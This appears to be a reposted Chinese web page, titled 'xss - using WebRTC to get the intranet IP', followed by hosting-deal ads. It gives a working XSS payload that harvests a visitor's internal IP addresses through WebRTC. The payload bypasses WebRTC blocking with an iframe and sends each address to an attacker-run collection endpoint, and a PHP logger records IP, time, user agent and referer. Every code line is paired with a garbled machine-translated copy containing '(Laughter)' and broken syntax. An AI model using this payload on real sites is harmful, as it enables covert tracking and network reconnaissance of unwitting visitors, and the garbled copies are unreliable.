xss-利用webrtc获取内网IP

xss.js

xss.js

function getIPs(callback){

function getIPs(callback){

                var ip_dups = {};

var_dups={};

                //compatibility for firefox and chrome

compatibility for firefox and chrome

                var RTCPeerConnection = window.RTCPeerConnection

RTCPeerConnection= window.RTCPeerConnection

                    || window.mozRTCPeerConnection

window.mozRTCPeerConnection

                    || window.webkitRTCPeerConnection;

Window.webkitRTCPeerConnection

                var useWebKit = !!window.webkitRTCPeerConnection;

WebKit=!! window.webkitRTCPeerConnection;

                //bypass naive webrtc blocking using an iframe

naive bypass webrtc blocking using an iframe

                if(!RTCPeerConnection){

if(! RTCPeerConnection){

                    //NOTE: you need to have an iframe in the page right above the script tag

Note: you need to have an iframe in the page right above the script tag

                    //

(Laughter)

                    //<iframe id="iframe" sandbox="allow-same-origin" gt;</iframegt;

iframe id="iframe""sandbox="allow-same-origin"gt;</iframegt;

                    //<scriptgt;...getIPs called in here...

getIPs called in here...

                    //

(Laughter)

                    var win = iframe.contentWindow;

var win= iframe.contentWindow;

                    RTCPeerConnection = win.RTCPeerConnection

RTCPeerConnection= win.RTCPeerConnection

                        || win.mozRTCPeerConnection

win.mozRTCPeerConnection

                        || win.webkitRTCPeerConnection;

win.webkitRTCPeerConnection;

                    useWebKit = !!win.webkitRTCPeerConnection;

WebKit=!! win.webkitRTCPeerConnection;

                }

(Laughter)

                //minimal requirements for data connection

Minimum requirements for data connection

                var mediaConstraints = {

mediaConstraints={

                    optional: [{RtpDataChannels: true}]

Optional: [{RtpDataChannels: true}]

                };

(Laughter)

                var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

[urls: stun:stun.services.mozilla.com]};

                //construct a new RTCPeerConnection

Construct a new RTCPeerConnection

                var pc = new RTCPeerConnection(servers, mediaConstraints);

var pc= new RTCPeerConnection (servers, mediaConstraints);

                function handleCandidate(candidate){

Candidate(candidate){

                    //match just the IP address

match just the IP address

                    var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/

                 var ip_regex = /([0-9]{1,3}([0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/

                    var ip_addr = ip_regex.exec(candidate)[1];

var_addr= ip_regex.exec(candidate)[1];

                    //remove duplicates

remove duplicates

                    if(ip_dups[ip_addr] === undefined)

undefined)

                        callback(ip_addr);

ip_addr;

                    ip_dups[ip_addr] = true;

ip_dups[ip_addr]= true;

                }

(Laughter)

                //listen for candidate events

list for candidate events

                pc.onicecandidate = function(ice){

_Other Organiser

                    //skip non-candidate events

skip non-candidate events

                    if(ice.candidate)

ice candidate

                        handleCandidate(ice.candidate.candidate);

Candidate (ice.candidate.candidate) handler;

                };

(Laughter)

                //create a bogus data channel

create a false data channel

                pc.createDataChannel("");

pc.createDataChannel("");

                //create an offer sdp

create the sdp tool

                pc.createOffer(function(result){

createOffer(function(result){

                    //trigger the stun server request

trigger the stun server request

                    pc.setLocalDescription(result, function(){}, function(){});

pc.setLocalDescription(result, function({}, function({});

                }, function(){});

function({});

                //wait for a while to let everything done

wait for a while to let everything done

                setTimeout(function(){

setTimeout(function(){

                    //read candidate info from local description

read candidate info from local description

                    var lines = pc.localDescription.sdp.split('n');

was lines= pc.localDescription.sdp.split('n');

                    lines.forEach(function(line){

lines.forEach(function(line){

                        if(line.indexOf('a=candidate:') === 0)

(line.indexOf('a=candidate:')=== 0)

                            handleCandidate(line);

Candidate (line);

                    });

);

                }, 1000);

1000);

            }

(Laughter)

            //insert IP addresses into the page

insert IP addresses into the page

getIPs(function(ip){    var url="http://192.168.80.133:81/aaa.php?ip="+ip;

getIPs(function(ip){   var url="http://192.168.80.133:81/aaa.php? ip="+ip;

    var xmlhttp1=new XMLHttpRequest(); 

“var xmlhttp1=new XMLHttpRequest();”

    xmlhttp1.open("GET", url, true);

xmlhttp1.open("GET",url, true);

    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

xmlhttps.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    xmlhttp1.send(null);  });

xmlhttp1.send(null); );

server端:

server:

<?php

<? php

$ip=$_GET['ip'];

$ip=$_GET['ip'];

$time=date("j F, Y, g:i a");

$time=date("j F, Y, g:i a");

$agent = $_SERVER['HTTP_USER_AGENT'];

$agent=$_SERVER['HTTP_USER_AGENT'];

$referer=getenv('HTTP_REFERER');

$referer=getenv('HTTP_REFERER');

$text = 'ip:' =.$ip."rn".'Time:'.$time."rn".'User Agent:'.$agent."rn".'Referer:'.$referer."rn";

$text='ip:' =.$ip."rn".'Time:'.$time."rn".'User Agent:'.$agent."rn".'Referer:'.$referer."rn";

$file = fopen('vb.php' , 'a+');

$file = fopen('vb.php', 'a+');

fwrite($file,$text);

fwrite($file,$text);

fclose($file);

fclose($file);

?gt;

What? gt;

--------------------------------------------------------------
主机参考，收集国内外VPS，VPS测评，主机测评，云服务器，虚拟主机，独立服务器，国内外服务器，高性价比建站主机相关优惠信息@zhujicankao.com
详细介绍和测评国外VPS主机,云服务器,国外服务器,国外主机的相关优惠信息,商家背景,网络带宽等等,也是目前国内最好的主机云服务器VPS参考测评资讯优惠信息分享平台

这几篇文章你可能也喜欢：

• 搬瓦工VPS，限量款套餐补货，美国CN2 GIA/日本软银/荷兰AS9929，1Gbps超大高端网络线路，KVM虚拟架构，1核1G内存1Gbps带宽，80美元/年，机房可随意切换
• CloudCone，美国Win系统VPS云服务器少量补货，美国洛杉矶MC机房，KVM虚拟架构，3核4G内存1Gbps带宽，17.49美元/月
• 恒创科技，全场3折优惠起，免备案香港VPS云服务器低至28元/月，香港/美国，新增多款特价服务器，1核1G内存5Mbps带宽不限流量，292元/年
• HostSailor，国外VPS云服务器7折，荷兰/罗马尼亚机房，KVM/OVZ虚拟架构，2核512M内存1Gbps带宽，2.79美元/月
• 搬瓦工，日本VPS云服务器测评报告，日本CN2 GIA高端线路大带宽VPS测评，搬瓦工VPS测评，搬瓦工VPS好不好？搬瓦工VPS值得购买吗？

本文由主机参考刊发，转载请注明：xss-利用webrtc获取内网IP https://zhujicankao.com/14137.html